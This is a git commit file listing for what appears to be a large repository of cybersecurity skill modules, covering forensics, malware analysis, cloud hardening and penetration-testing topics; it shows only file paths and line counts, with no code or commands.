+++++ .../assets/template.md | 25 + .../references/standards.md | 15 + .../references/workflows.md | 22 + .../scripts/process.py | 186 ++++ .../SKILL.md | 251 +++++ .../assets/template.md | 35 + .../references/standards.md | 27 + .../references/workflows.md | 46 + .../scripts/process.py | 239 +++++ .../SKILL.md | 301 ++++++ .../SKILL.md | 160 +++ .../assets/template.md | 140 +++ .../references/standards.md | 108 +++ .../references/workflows.md | 288 ++++++ .../scripts/process.py | 535 +++++++++++ .../SKILL.md | 188 ++++ .../assets/template.md | 60 ++ .../references/standards.md | 40 + .../references/workflows.md | 104 ++ .../scripts/process.py | 192 ++++ .../SKILL.md | 470 +++++++++ .../SKILL.md | 80 ++ .../assets/template.md | 26 + .../references/standards.md | 31 + .../references/workflows.md | 60 ++ .../scripts/process.py | 224 +++++ .../SKILL.md | 160 +++ .../assets/template.md | 43 + .../references/standards.md | 44 + .../references/workflows.md | 113 +++ .../scripts/process.py | 234 +++++ .../SKILL.md | 579 +++++++++++ .../SKILL.md | 352 +++++++ .../assets/template.md | 33 + .../references/standards.md | 21 + .../references/workflows.md | 70 ++ .../scripts/process.py | 293 ++++++ .../SKILL.md | 338 +++++++ .../SKILL.md | 37 + .../SKILL.md | 172 ++++ .../assets/template.md | 104 ++ .../references/standards.md | 83 ++ .../references/workflows.md | 173 ++++ .../scripts/process.py | 392 ++++++++ .../SKILL.md | 516 ++++++++++ .../SKILL.md | 305 ++++++ .../assets/template.md | 45 + .../references/standards.md | 36 + .../references/workflows.md | 41 + .../scripts/process.py | 189 ++++ .../SKILL.md | 248 +++++ .../assets/template.md | 94 ++ .../references/standards.md | 46 + .../references/workflows.md | 76 ++ .../scripts/process.py | 245 +++++ .../SKILL.md | 153 +++ .../assets/template.md | 301 ++++++ .../references/standards.md | 181 ++++ .../references/workflows.md | 313 ++++++ .../scripts/process.py | 711 ++++++++++++++ .../SKILL.md | 98 ++ .../assets/template.md | 46 + .../references/standards.md | 27 + .../references/workflows.md | 55 ++ .../scripts/process.py | 373 +++++++ .../SKILL.md | 62 ++ .../assets/template.md | 32 + .../references/standards.md | 38 + .../references/workflows.md | 60 ++ .../scripts/process.py | 283 ++++++ .../SKILL.md | 307 ++++++ .../assets/template.md | 69 ++ .../references/standards.md | 57 ++ .../references/workflows.md | 195 ++++ .../scripts/process.py | 243 +++++ .../SKILL.md | 243 +++++ .../assets/template.md | 55 ++ .../references/standards.md | 71 ++ .../references/workflows.md | 110 +++ .../scripts/process.py | 308 ++++++ .../SKILL.md | 83 ++ .../assets/template.md | 21 + .../references/standards.md | 5 + .../references/workflows.md | 10 + .../scripts/process.py | 31 + .../SKILL.md | 331 +++++++ .../SKILL.md | 103 ++ .../assets/template.md | 35 + .../references/standards.md | 41 + .../references/workflows.md | 95 ++ .../scripts/process.py | 348 +++++++ .../SKILL.md | 256 +++++ .../assets/template.md | 44 + .../references/standards.md | 40 + .../references/workflows.md | 51 + .../scripts/process.py | 198 ++++ .../SKILL.md | 164 ++++ .../assets/template.md | 18 + .../references/standards.md | 19 + .../references/workflows.md | 14 + .../scripts/process.py | 119 +++ .../SKILL.md | 414 ++++++++ .../SKILL.md | 318 ++++++ .../SKILL.md | 425 ++++++++ .../SKILL.md | 347 +++++++ .../SKILL.md | 214 +++++ .../assets/template.md | 16 + .../references/standards.md | 18 + .../references/workflows.md | 20 + .../scripts/process.py | 119 +++ .../SKILL.md | 478 +++++++++ .../SKILL.md | 317 ++++++ .../SKILL.md | 251 +++++ .../assets/template.md | 60 ++ .../references/standards.md | 28 + .../references/workflows.md | 64 ++ .../scripts/process.py | 249 +++++ .../SKILL.md | 367 +++++++ .../assets/template.md | 48 + .../references/standards.md | 51 + .../references/workflows.md | 92 ++ .../scripts/process.py | 228 +++++ .../SKILL.md | 372 +++++++ .../SKILL.md | 251 +++++ .../SKILL.md | 37 + .../SKILL.md | 533 ++++++++++ .../SKILL.md | 37 + .../references/standards.md | 20 + .../references/workflows.md | 36 + .../SKILL.md | 333 +++++++ .../SKILL.md | 296 ++++++ .../assets/template.md | 30 + .../references/standards.md | 28 + .../references/workflows.md | 49 + .../scripts/process.py | 341 +++++++ .../SKILL.md | 122 +++ .../assets/template.md | 140 +++ .../references/standards.md | 25 + .../references/workflows.md | 94 ++ .../SKILL.md | 301 ++++++ .../assets/template.md | 42 + .../references/standards.md | 28 + .../references/workflows.md | 38 + .../scripts/process.py | 153 +++ .../SKILL.md | 307 ++++++ .../assets/template.md | 75 ++ .../references/standards.md | 26 + .../references/workflows.md | 55 ++ .../scripts/process.py | 167 ++++ .../SKILL.md | 117 +++ .../assets/template.md | 58 ++ .../references/standards.md | 31 + .../references/workflows.md | 74 ++ .../scripts/process.py | 391 ++++++++ .../SKILL.md | 104 ++ .../assets/template.md | 45 + .../references/standards.md | 37 + .../references/workflows.md | 107 +++ .../scripts/process.py | 335 +++++++ .../SKILL.md | 430 +++++++++ .../SKILL.md | 271 ++++++ .../assets/template.md | 122 +++ .../references/standards.md | 58 ++ .../references/workflows.md | 175 ++++ .../scripts/process.py | 582 +++++++++++ .../SKILL.md | 339 +++++++ .../assets/template.md | 45 + .../references/standards.md | 29 + .../references/workflows.md | 80 ++ .../scripts/process.py | 326 +++++++ .../SKILL.md | 134 +++ .../assets/template.md | 29 + .../references/standards.md | 21 + .../references/workflows.md | 36 + .../scripts/process.py | 285 ++++++ .../SKILL.md | 239 +++++ .../assets/template.md | 30 + .../references/standards.md | 18 + .../references/workflows.md | 17 + .../scripts/process.py | 193 ++++ .../SKILL.md | 69 ++ .../assets/template.md | 56 ++ .../references/standards.md | 41 + .../references/workflows.md | 81 ++ .../scripts/process.py | 348 +++++++ .../SKILL.md | 264 +++++ .../assets/template.md | 110 +++ .../references/standards.md | 42 + .../references/workflows.md | 70 ++ .../scripts/process.py | 372 +++++++ .../implementing-saml-sso-with-okta/SKILL.md | 110 +++ .../assets/template.md | 128 +++ .../references/standards.md | 41 + .../references/workflows.md | 92 ++ .../scripts/process.py | 499 ++++++++++ .../SKILL.md | 201 ++++ .../assets/template.md | 75 ++ .../references/standards.md | 60 ++ .../references/workflows.md | 96 ++ .../scripts/process.py | 470 +++++++++ .../SKILL.md | 326 +++++++ .../assets/template.md | 175 ++++ .../references/standards.md | 54 ++ .../references/workflows.md | 92 ++ .../scripts/process.py | 299 ++++++ .../SKILL.md | 330 +++++++ .../SKILL.md | 307 ++++++ .../references/standards.md | 27 + .../SKILL.md | 292 ++++++ .../SKILL.md | 400 ++++++++ .../SKILL.md | 315 ++++++ .../assets/template.md | 62 ++ .../references/standards.md | 58 ++ .../references/workflows.md | 95 ++ .../scripts/process.py | 256 +++++ .../SKILL.md | 288 ++++++ .../assets/template.md | 53 + .../references/standards.md | 70 ++ .../references/workflows.md | 57 ++ .../scripts/process.py | 306 ++++++ .../SKILL.md | 275 ++++++ .../assets/template.md | 56 ++ .../references/standards.md | 51 + .../references/workflows.md | 77 ++ .../scripts/process.py | 254 +++++ .../SKILL.md | 348 +++++++ .../SKILL.md | 363 +++++++ .../SKILL.md | 364 +++++++ .../SKILL.md | 410 ++++++++ .../SKILL.md | 139 +++ .../assets/template.md | 24 + .../references/standards.md | 12 + .../references/workflows.md | 17 + .../scripts/process.py | 88 ++ .../SKILL.md | 261 +++++ .../assets/template.md | 54 ++ .../references/standards.md | 47 + .../references/workflows.md | 150 +++ .../scripts/process.py | 327 +++++++ .../SKILL.md | 166 ++++ .../assets/template.md | 34 + .../references/standards.md | 24 + .../references/workflows.md | 51 + .../scripts/process.py | 273 ++++++ .../SKILL.md | 279 ++++++ .../assets/template.md | 87 ++ .../references/standards.md | 58 ++ .../references/workflows.md | 72 ++ .../scripts/process.py | 302 ++++++ .../SKILL.md | 58 ++ .../references/standards.md | 29 + .../references/workflows.md | 46 + .../SKILL.md | 223 +++++ .../assets/template.md | 40 + .../references/standards.md | 51 + .../references/workflows.md | 99 ++ .../scripts/process.py | 191 ++++ .../SKILL.md | 337 +++++++ .../assets/template.md | 42 + .../references/standards.md | 48 + .../references/workflows.md | 74 ++ .../scripts/process.py | 281 ++++++ .../SKILL.md | 307 ++++++ .../implementing-zero-trust-in-cloud/SKILL.md | 309 ++++++ .../SKILL.md | 144 +++ .../assets/template.md | 135 +++ .../references/standards.md | 83 ++ .../references/workflows.md | 207 ++++ .../scripts/process.py | 459 +++++++++ .../SKILL.md | 348 +++++++ .../SKILL.md | 475 +++++++++ .../assets/template.md | 42 + .../references/standards.md | 59 ++ .../references/workflows.md | 103 ++ .../scripts/process.py | 358 +++++++ .../SKILL.md | 245 +++++ .../assets/template.md | 98 ++ .../references/standards.md | 38 + .../references/workflows.md | 83 ++ .../scripts/process.py | 245 +++++ .../SKILL.md | 318 ++++++ .../assets/template.md | 216 +++++ .../references/standards.md | 65 ++ .../references/workflows.md | 137 +++ .../scripts/process.py | 380 ++++++++ .../SKILL.md | 184 ++++ .../assets/template.md | 53 + .../references/standards.md | 40 + .../references/workflows.md | 70 ++ .../scripts/process.py | 279 ++++++ .../SKILL.md | 292 ++++++ .../SKILL.md | 283 ++++++ .../SKILL.md | 372 +++++++ .../SKILL.md | 263 +++++ .../managing-intelligence-lifecycle/SKILL.md | 114 +++ .../mapping-mitre-attack-techniques/SKILL.md | 131 +++ skills/monitoring-darkweb-sources/SKILL.md | 124 +++ .../SKILL.md | 234 +++++ .../assets/template.md | 49 + .../references/standards.md | 53 + .../references/workflows.md | 110 +++ .../scripts/process.py | 230 +++++ .../SKILL.md | 112 +++ .../assets/template.md | 46 + .../references/standards.md | 23 + .../references/workflows.md | 56 ++ .../scripts/process.py | 312 ++++++ .../SKILL.md | 211 ++++ .../assets/template.md | 125 +++ .../references/standards.md | 56 ++ .../references/workflows.md | 141 +++ .../scripts/process.py | 402 ++++++++ .../SKILL.md | 168 ++++ .../assets/template.md | 147 +++ .../references/standards.md | 54 ++ .../references/workflows.md | 151 +++ .../scripts/process.py | 558 +++++++++++ .../SKILL.md | 259 +++++ .../assets/template.md | 42 + .../references/standards.md | 23 + .../references/workflows.md | 36 + .../scripts/process.py | 181 ++++ .../SKILL.md | 214 +++++ .../assets/template.md | 63 ++ .../references/standards.md | 41 + .../references/workflows.md | 45 + .../scripts/process.py | 211 ++++ .../SKILL.md | 99 ++ .../assets/template.md | 35 + .../references/standards.md | 32 + .../references/workflows.md | 71 ++ .../scripts/process.py | 289 ++++++ .../SKILL.md | 390 ++++++++ .../assets/template.md | 30 + .../references/standards.md | 23 + .../references/workflows.md | 52 + .../scripts/process.py | 219 +++++ .../SKILL.md | 221 +++++ .../assets/template.md | 69 ++ .../references/standards.md | 40 + .../references/workflows.md | 55 ++ .../scripts/process.py | 314 ++++++ .../SKILL.md | 159 +++ .../assets/template.md | 126 +++ .../references/standards.md | 44 + .../references/workflows.md | 70 ++ .../scripts/process.py | 234 +++++ .../SKILL.md | 363 +++++++ .../SKILL.md | 425 ++++++++ .../SKILL.md | 403 ++++++++ .../SKILL.md | 384 ++++++++ .../SKILL.md | 260 +++++ .../SKILL.md | 144 +++ .../assets/template.md | 15 + .../references/standards.md | 13 + .../references/workflows.md | 18 + .../scripts/process.py | 132 +++ .../SKILL.md | 245 +++++ .../assets/template.md | 58 ++ .../references/standards.md | 60 ++ .../references/workflows.md | 86 ++ .../scripts/process.py | 265 +++++ .../SKILL.md | 212 ++++ .../assets/template.md | 38 + .../references/standards.md | 39 + .../references/workflows.md | 61 ++ .../scripts/process.py | 390 ++++++++ .../SKILL.md | 152 +++ .../assets/template.md | 25 + .../references/standards.md | 9 + .../references/workflows.md | 11 + .../SKILL.md | 236 +++++ .../assets/template.md | 78 ++ .../references/standards.md | 58 ++ .../references/workflows.md | 75 ++ .../scripts/process.py | 223 +++++ .../SKILL.md | 273 ++++++ .../SKILL.md | 314 ++++++ .../SKILL.md | 234 +++++ .../SKILL.md | 230 +++++ .../SKILL.md | 414 ++++++++ .../SKILL.md | 227 +++++ .../assets/template.md | 26 + .../references/standards.md | 17 + .../references/workflows.md | 22 + .../scripts/process.py | 173 ++++ .../SKILL.md | 328 +++++++ .../SKILL.md | 269 ++++++ .../assets/template.md | 51 + .../references/standards.md | 30 + .../references/workflows.md | 116 +++ .../scripts/process.py | 280 ++++++ .../SKILL.md | 287 ++++++ .../SKILL.md | 194 ++++ .../SKILL.md | 255 +++++ .../assets/template.md | 22 + .../references/standards.md | 18 + .../references/workflows.md | 33 + .../scripts/process.py | 130 +++ .../SKILL.md | 244 +++++ .../assets/template.md | 51 + .../references/standards.md | 30 + .../references/workflows.md | 56 ++ .../scripts/process.py | 176 ++++ .../SKILL.md | 228 +++++ .../SKILL.md | 190 ++++ .../assets/template.md | 36 + .../references/standards.md | 29 + .../references/workflows.md | 53 + .../scripts/process.py | 197 ++++ .../SKILL.md | 58 ++ .../assets/template.md | 65 ++ .../references/standards.md | 40 + .../references/workflows.md | 62 ++ .../scripts/process.py | 342 +++++++ .../SKILL.md | 344 +++++++ .../SKILL.md | 236 +++++ .../assets/template.md | 31 + .../references/standards.md | 27 + .../references/workflows.md | 52 + .../scripts/process.py | 245 +++++ .../SKILL.md | 242 +++++ .../assets/template.md | 32 + .../references/standards.md | 33 + .../references/workflows.md | 33 + .../scripts/process.py | 228 +++++ .../SKILL.md | 285 ++++++ .../SKILL.md | 310 ++++++ .../SKILL.md | 256 +++++ .../SKILL.md | 108 +++ .../assets/template.md | 37 + .../references/standards.md | 34 + .../references/workflows.md | 111 +++ .../scripts/process.py | 338 +++++++ .../SKILL.md | 258 +++++ .../SKILL.md | 125 +++ .../assets/template.md | 22 + .../references/standards.md | 17 + .../references/workflows.md | 18 + .../scripts/process.py | 56 ++ .../SKILL.md | 234 +++++ .../assets/template.md | 46 + .../references/standards.md | 43 + .../references/workflows.md | 56 ++ .../scripts/process.py | 248 +++++ .../SKILL.md | 259 +++++ .../SKILL.md | 232 +++++ .../assets/template.md | 50 + .../references/standards.md | 32 + .../references/workflows.md | 66 ++ .../scripts/process.py | 209 ++++ .../SKILL.md | 224 +++++ .../assets/template.md | 74 ++ .../references/standards.md | 52 + .../references/workflows.md | 127 +++ .../scripts/process.py | 231 +++++ .../SKILL.md | 448 +++++++++ .../SKILL.md | 328 +++++++ .../assets/template.md | 146 +++ .../references/standards.md | 49 + .../references/workflows.md | 95 ++ .../scripts/process.py | 382 ++++++++ .../SKILL.md | 198 ++++ .../assets/template.md | 28 + .../references/standards.md | 28 + .../references/workflows.md | 16 + .../scripts/process.py | 155 +++ .../SKILL.md | 315 ++++++ .../SKILL.md | 300 ++++++ .../SKILL.md | 272 ++++++ .../SKILL.md | 395 ++++++++ .../SKILL.md | 509 ++++++++++ .../SKILL.md | 322 +++++++ .../SKILL.md | 65 ++ .../assets/template.md | 49 + .../references/standards.md | 30 + .../references/workflows.md | 62 ++ .../scripts/process.py | 265 +++++ .../SKILL.md | 186 ++++ .../SKILL.md | 495 ++++++++++ .../SKILL.md | 119 +++ .../assets/template.md | 39 + .../references/standards.md | 24 + .../references/workflows.md | 31 + .../scripts/process.py | 130 +++ .../SKILL.md | 149 +++ .../assets/template.md | 55 ++ .../references/standards.md | 32 + .../references/workflows.md | 60 ++ .../scripts/process.py | 180 ++++ .../SKILL.md | 242 +++++ .../SKILL.md | 413 ++++++++ .../SKILL.md | 184 ++++ .../SKILL.md | 276 ++++++ .../SKILL.md | 314 ++++++ .../performing-kerberoasting-attack/SKILL.md | 72 ++ .../assets/template.md | 57 ++ .../references/standards.md | 74 ++ .../references/workflows.md | 131 +++ .../scripts/process.py | 371 +++++++ .../SKILL.md | 211 ++++ .../assets/template.md | 30 + .../references/standards.md | 41 + .../references/workflows.md | 78 ++ .../scripts/process.py | 180 ++++ .../SKILL.md | 196 ++++ .../assets/template.md | 26 + .../references/standards.md | 22 + .../references/workflows.md | 19 + .../scripts/process.py | 195 ++++ .../SKILL.md | 256 +++++ .../assets/template.md | 58 ++ .../references/standards.md | 54 ++ .../references/workflows.md | 92 ++ .../scripts/process.py | 414 ++++++++ .../SKILL.md | 288 ++++++ .../SKILL.md | 170 ++++ .../assets/template.md | 20 + .../references/standards.md | 24 + .../references/workflows.md | 21 + .../scripts/process.py | 107 +++ .../SKILL.md | 262 +++++ .../assets/template.md | 17 + .../references/standards.md | 15 + .../references/workflows.md | 27 + .../scripts/process.py | 42 + .../SKILL.md | 308 ++++++ .../SKILL.md | 271 ++++++ .../assets/template.md | 46 + .../references/standards.md | 31 + .../references/workflows.md | 60 ++ .../scripts/process.py | 197 ++++ .../SKILL.md | 320 ++++++ .../SKILL.md | 347 +++++++ .../assets/template.md | 99 ++ .../references/standards.md | 81 ++ .../references/workflows.md | 70 ++ .../scripts/process.py | 452 +++++++++ .../SKILL.md | 457 +++++++++ .../SKILL.md | 363 +++++++ .../SKILL.md | 209 ++++ .../assets/template.md | 28 + .../references/standards.md | 29 + .../references/workflows.md | 20 + .../scripts/process.py | 71 ++ .../SKILL.md | 284 ++++++ .../SKILL.md | 224 +++++ .../assets/template.md | 21 + .../references/standards.md | 20 + .../references/workflows.md | 30 + .../scripts/process.py | 149 +++ .../SKILL.md | 332 +++++++ .../SKILL.md | 301 ++++++ .../SKILL.md | 236 +++++ .../assets/template.md | 19 + .../references/standards.md | 13 + .../references/workflows.md | 21 + .../scripts/process.py | 37 + .../SKILL.md | 394 ++++++++ .../SKILL.md | 117 +++ .../assets/template.md | 106 ++ .../references/standards.md | 87 ++ .../references/workflows.md | 184 ++++ .../scripts/process.py | 355 +++++++ .../SKILL.md | 606 ++++++++++++ .../SKILL.md | 357 +++++++ .../SKILL.md | 105 ++ .../assets/template.md | 189 ++++ .../references/standards.md | 67 ++ .../references/workflows.md | 253 +++++ .../scripts/process.py | 604 ++++++++++++ .../SKILL.md | 583 +++++++++++ .../assets/template.md | 169 ++++ .../references/standards.md | 87 ++ .../references/workflows.md | 119 +++ .../scripts/process.py | 417 ++++++++ .../SKILL.md | 303 ++++++ .../SKILL.md | 278 ++++++ .../SKILL.md | 317 ++++++ .../SKILL.md | 320 ++++++ .../SKILL.md | 93 ++ .../assets/template.md | 77 ++ .../references/standards.md | 58 ++ .../references/workflows.md | 135 +++ .../scripts/process.py | 515 ++++++++++ .../SKILL.md | 191 ++++ .../assets/template.md | 59 ++ .../references/standards.md | 31 + .../references/workflows.md | 79 ++ .../scripts/process.py | 202 ++++ .../SKILL.md | 486 ++++++++++ .../SKILL.md | 296 ++++++ .../SKILL.md | 196 ++++ .../SKILL.md | 77 ++ .../references/standards.md | 27 + .../references/workflows.md | 161 ++++ .../SKILL.md | 151 +++ .../assets/template.md | 66 ++ .../references/standards.md | 50 + .../references/workflows.md | 100 ++ .../scripts/process.py | 311 ++++++ .../SKILL.md | 37 + .../performing-purple-team-exercise/SKILL.md | 291 ++++++ .../SKILL.md | 196 ++++ .../assets/template.md | 150 +++ .../references/standards.md | 84 ++ .../references/workflows.md | 133 +++ .../scripts/process.py | 423 ++++++++ .../performing-ransomware-response/SKILL.md | 217 +++++ .../SKILL.md | 227 +++++ .../assets/template.md | 112 +++ .../references/standards.md | 48 + .../references/workflows.md | 139 +++ .../scripts/process.py | 500 ++++++++++ .../SKILL.md | 419 ++++++++ .../SKILL.md | 250 +++++ .../assets/template.md | 131 +++ .../references/standards.md | 63 ++ .../references/workflows.md | 130 +++ .../scripts/process.py | 266 +++++ .../SKILL.md | 301 ++++++ .../SKILL.md | 215 +++++ .../SKILL.md | 307 ++++++ .../SKILL.md | 287 ++++++ .../performing-service-account-audit/SKILL.md | 98 ++ .../assets/template.md | 25 + .../references/standards.md | 18 + .../references/workflows.md | 22 + .../scripts/process.py | 267 +++++ .../SKILL.md | 250 +++++ .../assets/template.md | 32 + .../references/standards.md | 47 + .../references/workflows.md | 93 ++ .../scripts/process.py | 262 +++++ .../SKILL.md | 430 +++++++++ .../performing-soc-tabletop-exercise/SKILL.md | 389 ++++++++ .../SKILL.md | 159 +++ .../assets/template.md | 232 +++++ .../references/standards.md | 116 +++ .../references/workflows.md | 258 +++++ .../scripts/process.py | 566 +++++++++++ .../SKILL.md | 267 +++++ .../assets/template.md | 31 + .../references/standards.md | 20 + .../references/workflows.md | 39 + .../scripts/process.py | 192 ++++ .../SKILL.md | 63 ++ .../assets/template.md | 54 ++ .../references/standards.md | 42 + .../references/workflows.md | 81 ++ .../scripts/process.py | 349 +++++++ .../performing-ssl-stripping-attack/SKILL.md | 248 +++++ .../SKILL.md | 263 +++++ .../SKILL.md | 297 ++++++ .../SKILL.md | 333 +++++++ .../SKILL.md | 180 ++++ .../assets/template.md | 45 + .../references/standards.md | 26 + .../references/workflows.md | 39 + .../scripts/process.py | 164 ++++ .../SKILL.md | 232 +++++ .../assets/template.md | 24 + .../references/standards.md | 18 + .../references/workflows.md | 26 + .../scripts/process.py | 190 ++++ .../SKILL.md | 258 +++++ .../SKILL.md | 267 +++++ .../SKILL.md | 179 ++++ .../assets/template.md | 48 + .../references/standards.md | 44 + .../references/workflows.md | 75 ++ .../scripts/process.py | 191 ++++ .../SKILL.md | 313 ++++++ .../SKILL.md | 240 +++++ .../performing-vlan-hopping-attack/SKILL.md | 313 ++++++ .../SKILL.md | 160 +++ .../SKILL.md | 242 +++++ .../SKILL.md | 191 ++++ .../SKILL.md | 219 +++++ .../assets/template.md | 37 + .../references/standards.md | 41 + .../references/workflows.md | 43 + .../scripts/process.py | 297 ++++++ .../SKILL.md | 220 +++++ .../references/standards.md | 33 + .../references/workflows.md | 26 + .../SKILL.md | 202 ++++ .../SKILL.md | 306 ++++++ .../SKILL.md | 266 +++++ .../SKILL.md | 261 +++++ .../assets/template.md | 65 ++ .../references/standards.md | 59 ++ .../references/workflows.md | 98 ++ .../scripts/process.py | 295 ++++++ .../SKILL.md | 235 +++++ .../assets/template.md | 33 + .../references/standards.md | 26 + .../references/workflows.md | 31 + .../scripts/process.py | 200 ++++ .../SKILL.md | 367 +++++++ .../SKILL.md | 316 ++++++ .../assets/template.md | 31 + .../references/standards.md | 35 + .../references/workflows.md | 34 + .../scripts/process.py | 266 +++++ .../SKILL.md | 168 ++++ .../assets/template.md | 36 + .../references/standards.md | 38 + .../references/workflows.md | 53 + .../scripts/process.py | 401 ++++++++ skills/processing-stix-taxii-feeds/SKILL.md | 148 +++ skills/profiling-threat-actor-groups/SKILL.md | 122 +++ .../SKILL.md | 225 +++++ .../SKILL.md | 301 ++++++ .../references/standards.md | 20 + .../references/workflows.md | 65 ++ .../scripts/process.py | 290 ++++++ .../SKILL.md | 302 ++++++ .../SKILL.md | 343 +++++++ .../SKILL.md | 338 +++++++ .../SKILL.md | 240 +++++ .../assets/template.md | 38 + .../references/standards.md | 27 + .../references/workflows.md | 36 + .../scripts/process.py | 119 +++ .../SKILL.md | 280 ++++++ .../SKILL.md | 260 +++++ .../assets/template.md | 30 + .../references/standards.md | 30 + .../references/workflows.md | 37 + .../scripts/process.py | 179 ++++ .../reverse-engineering-rust-malware/SKILL.md | 158 +++ .../assets/template.md | 25 + .../references/standards.md | 9 + .../references/workflows.md | 11 + .../SKILL.md | 209 ++++ .../assets/template.md | 85 ++ .../references/standards.md | 58 ++ .../references/workflows.md | 162 ++++ .../scripts/process.py | 183 ++++ .../SKILL.md | 312 ++++++ .../assets/template.md | 195 ++++ .../references/standards.md | 62 ++ .../references/workflows.md | 131 +++ .../scripts/process.py | 326 +++++++ .../SKILL.md | 242 +++++ .../assets/template.md | 75 ++ .../references/standards.md | 66 ++ .../references/workflows.md | 136 +++ .../scripts/process.py | 334 +++++++ .../SKILL.md | 154 +++ .../assets/template.md | 115 +++ .../references/standards.md | 36 + .../references/workflows.md | 83 ++ .../scripts/process.py | 489 ++++++++++ .../SKILL.md | 278 ++++++ .../assets/template.md | 51 + .../references/standards.md | 44 + .../references/workflows.md | 59 ++ .../scripts/process.py | 241 +++++ .../SKILL.md | 195 ++++ .../SKILL.md | 437 +++++++++ skills/securing-aws-iam-permissions/SKILL.md | 305 ++++++ .../SKILL.md | 361 +++++++ .../SKILL.md | 251 +++++ .../SKILL.md | 290 ++++++ .../SKILL.md | 218 +++++ .../assets/template.md | 19 + .../references/standards.md | 28 + .../references/workflows.md | 26 + .../scripts/process.py | 180 ++++ .../SKILL.md | 245 +++++ .../assets/template.md | 52 + .../references/standards.md | 30 + .../references/workflows.md | 40 + .../scripts/process.py | 210 ++++ .../securing-helm-chart-deployments/SKILL.md | 268 ++++++ .../assets/template.md | 40 + .../references/standards.md | 35 + .../references/workflows.md | 29 + .../scripts/process.py | 199 ++++ .../SKILL.md | 371 +++++++ skills/securing-kubernetes-on-cloud/SKILL.md | 368 +++++++ .../SKILL.md | 371 +++++++ skills/securing-serverless-functions/SKILL.md | 312 ++++++ .../SKILL.md | 175 ++++ .../assets/template.md | 30 + .../references/standards.md | 22 + .../references/workflows.md | 17 + .../scripts/process.py | 197 ++++ .../SKILL.md | 438 +++++++++ .../SKILL.md | 375 ++++++++ .../SKILL.md | 344 +++++++ .../SKILL.md | 335 +++++++ skills/testing-cors-misconfiguration/SKILL.md | 330 +++++++ .../SKILL.md | 348 +++++++ .../SKILL.md | 342 +++++++ .../SKILL.md | 212 ++++ .../SKILL.md | 213 ++++ .../SKILL.md | 221 +++++ .../SKILL.md | 188 ++++ .../SKILL.md | 350 +++++++ .../SKILL.md | 207 ++++ .../SKILL.md | 306 ++++++ .../testing-for-xss-vulnerabilities/SKILL.md | 184 ++++ .../SKILL.md | 339 +++++++ skills/testing-jwt-token-security/SKILL.md | 335 +++++++ .../SKILL.md | 184 ++++ .../assets/template.md | 32 + .../references/standards.md | 35 + .../references/workflows.md | 28 + .../scripts/process.py | 242 +++++ .../SKILL.md | 390 ++++++++ .../testing-websocket-api-security/SKILL.md | 432 +++++++++ .../SKILL.md | 276 ++++++ .../assets/template.md | 47 + .../references/standards.md | 46 + .../references/workflows.md | 50 + .../scripts/process.py | 284 ++++++ .../SKILL.md | 206 ++++ .../SKILL.md | 214 +++++ .../assets/template.md | 114 +++ .../references/standards.md | 42 + .../references/workflows.md | 121 +++ .../scripts/process.py | 366 +++++++ skills/triaging-security-incident/SKILL.md | 209 ++++ .../SKILL.md | 187 ++++ .../references/standards.md | 64 ++ .../references/workflows.md | 115 +++ .../scripts/process.py | 346 +++++++ 1765 files changed, 280648 insertions(+) create mode 100644 .gitignore create mode 100644 README.md create mode 100644 skills/acquiring-disk-image-with-dd-and-dcfldd/SKILL.md create mode 100644 skills/analyzing-apt-group-with-mitre-navigator/SKILL.md create mode 100644 skills/analyzing-bootkit-and-rootkit-samples/SKILL.md create mode 100644 skills/analyzing-browser-forensics-with-hindsight/SKILL.md create mode 100644 skills/analyzing-browser-forensics-with-hindsight/assets/template.md create mode 100644 skills/analyzing-browser-forensics-with-hindsight/references/standards.md create mode 100644 skills/analyzing-browser-forensics-with-hindsight/references/workflows.md create mode 100644 skills/analyzing-browser-forensics-with-hindsight/scripts/process.py create mode 100644 skills/analyzing-campaign-attribution-evidence/SKILL.md create mode 100644 skills/analyzing-campaign-attribution-evidence/assets/template.md create mode 100644 skills/analyzing-campaign-attribution-evidence/references/standards.md create mode 100644 skills/analyzing-campaign-attribution-evidence/references/workflows.md create mode 100644 skills/analyzing-campaign-attribution-evidence/scripts/process.py create mode 100644 skills/analyzing-certificate-transparency-for-phishing/SKILL.md create mode 100644 skills/analyzing-cobalt-strike-beacon-configuration/SKILL.md create mode 100644 skills/analyzing-cobalt-strike-beacon-configuration/assets/template.md create mode 100644 skills/analyzing-cobalt-strike-beacon-configuration/references/standards.md create mode 100644 skills/analyzing-cobalt-strike-beacon-configuration/references/workflows.md create mode 100644 skills/analyzing-cobalt-strike-beacon-configuration/scripts/process.py create mode 100644 skills/analyzing-command-and-control-communication/SKILL.md create mode 100644 skills/analyzing-cyber-kill-chain/SKILL.md create mode 100644 skills/analyzing-disk-image-with-autopsy/SKILL.md create mode 100644 skills/analyzing-dns-logs-for-exfiltration/SKILL.md create mode 100644 skills/analyzing-docker-container-forensics/SKILL.md create mode 100644 skills/analyzing-email-headers-for-phishing-investigation/SKILL.md create mode 100644 skills/analyzing-golang-malware-with-ghidra/SKILL.md create mode 100644 skills/analyzing-golang-malware-with-ghidra/assets/template.md create mode 100644 skills/analyzing-golang-malware-with-ghidra/references/standards.md create mode 100644 skills/analyzing-golang-malware-with-ghidra/references/workflows.md create mode 100644 skills/analyzing-golang-malware-with-ghidra/scripts/process.py create mode 100644 skills/analyzing-indicators-of-compromise/SKILL.md create mode 100644 skills/analyzing-ios-app-security-with-objection/SKILL.md create mode 100644 skills/analyzing-ios-app-security-with-objection/assets/template.md create mode 100644 skills/analyzing-ios-app-security-with-objection/references/standards.md create mode 100644 skills/analyzing-ios-app-security-with-objection/references/workflows.md create mode 100644 skills/analyzing-ios-app-security-with-objection/scripts/process.py create mode 100644 skills/analyzing-linux-elf-malware/SKILL.md create mode 100644 skills/analyzing-linux-system-artifacts/SKILL.md create mode 100644 skills/analyzing-lnk-file-and-jump-list-artifacts/SKILL.md create mode 100644 skills/analyzing-lnk-file-and-jump-list-artifacts/assets/template.md create mode 100644 skills/analyzing-lnk-file-and-jump-list-artifacts/references/standards.md create mode 100644 skills/analyzing-lnk-file-and-jump-list-artifacts/references/workflows.md create mode 100644 skills/analyzing-lnk-file-and-jump-list-artifacts/scripts/process.py create mode 100644 skills/analyzing-macro-malware-in-office-documents/SKILL.md create mode 100644 skills/analyzing-malicious-url-with-urlscan/SKILL.md create mode 100644 skills/analyzing-malicious-url-with-urlscan/assets/template.md create mode 100644 skills/analyzing-malicious-url-with-urlscan/references/standards.md create mode 100644 skills/analyzing-malicious-url-with-urlscan/references/workflows.md create mode 100644 skills/analyzing-malicious-url-with-urlscan/scripts/process.py create mode 100644 